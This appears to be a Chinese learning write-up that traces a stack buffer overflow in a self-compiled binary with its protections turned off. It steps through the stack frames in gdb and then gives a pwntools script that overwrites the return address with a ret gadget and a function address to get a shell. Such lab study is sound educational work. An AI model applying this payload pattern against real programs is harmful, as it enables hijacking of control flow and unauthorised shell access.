栈溢出例子详细分析
1 |
|
1 | gcc -z execstack -no-pie -z norelro -fno-stack-protector test.c -o test |
从main函数断点开始,状态如下:
执行过
push rbp
之后,rsp先向低地址移动8字节指向了0x7fffffffe010
处,然后在该地址处,赋值为rbp寄存器的值,高地址在高位,低地址在低位。执行过
mov rbp, rsp
之后,此时rbp指向了rsp的位置,rbp为0x7fffffffe010
执行过
mov eax, 0
之后,rax的低32位,此时为0
执行
call func
之前,rdi rsi rdx rcx
分别为上图所示;执行过该条语句之后,rsp先向低地址移动8字节指向了0x7fffffffe008
,然后将该条语句之后的指令地址赋值给此处,即0x4011ae (main+18)
表示指令mov eax, 0
;此时rip指向了func函数执行过
push rbp
之后,rsp向低地址移动8字节,值为0x7fffffffe000
,此时在该地址处,赋值为rbp寄存器的值,高地址在高位,低地址在低位,入栈的值为0x7fffffffe010
,此时mian函数的栈帧为也就是栈中存了两样东西,一个是0x4011ae (main+18)
为指令地址,另一个是指向栈低rbp的值,为0x7fffffffe010
接着执行过
mov rbp, rsp
之后,正式标志着离开了main函数的栈帧,来到了func函数的栈帧接着执行
sub rsp, 0x20
之后,为变量预留了32位字节的空间,rsp为0x7fffffffdfe0
;在func的栈帧中出现了一些看不懂的东西,栈帧如下执行
lea rax, [rbp - 0x20]
之后,rax的值变为了此时rsp指向的值,即为0x7ffff7fb62e8 (__exit_funcs_lock)
执行
mov edx, 0x50
之后,就如下执行
mov rsi, rax
之后,此时就是在为read函数调用做准备,read
函数调用让我们把相关的寄存器和参数对照起来看一下:
1
ssize_t read(int fd, void *buf, size_t count);
int fd
:文件描述符,由edi
寄存器传递。void *buf
:缓冲区地址,由rsi
寄存器传递。size_t count
:读取字节数,由edx
寄存器传递。
n指令,单步补过,输入字符,此时状态如下:
nop
是一个占位符,leave
指令,清理栈帧,相当于mov rsp rbp
和pop rbp
ret
指令,从当前函数返回到调用该函数的位置,作用是从栈中弹出返回地址,加载到指令指针rip中,跳转到rip指向的地址,继续执行调用函数后面的代码,相当于pop rip
这是
leave
之前的栈帧,这是
leave
之后的栈帧,寄存器改变此时为了发送payload进行调试,我们用pwntools运行程序,gdb调试这个进程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15from pwn import *
context.terminal = ['bash', '-e', 'sh', '-c']
p = gdb.debug("/home/pwn/02eeepwn/test","break main")
a = input("a:")
# p = process(11370)
offset = 0x20
offset2 = 0x8
payload = b'a' * offset + b'b'* offset2 + p64(0x401171)+p64(0x401156)
# payload = b'a' * offset +p64(0x401156)
print(payload)
p.sendline(payload)
# p.interactive()
b = input("b:")1
gdb -q /home/pwn/02eeepwn/test -x /tmp/pwn62tcsx33.gdb
可以看到此时的栈已经插入我们的恶意指令
这是执行过
leave
指令之后的这里其实就有疑问了,为啥payload还要多加一个
ret
指令呢,直接就加一个恶意函数地址不就好了,两次ret
有什么意义那就先把
ret
地址去掉,再重新调试ret
地址去掉就不行了,加上之后才可以getshell,如图是成功的两张图
疑问:为什么要加上ret
的地址呢?
- 悟了,有些系统中需要栈对齐,也就是被执行的函数的地址,最后一位得是0,【在 x86-64 的调用约定中,栈指针(RSP)需要在函数调用之前对齐到 16 字节边界。这意味着调用函数之前的栈指针值应该是 16 的倍数。】
疑问:恶意函数地址,为什么不能是除去前三行的指令呢。这个好像就是ret2text了
疑问:不填ret而填nop应该也可以吧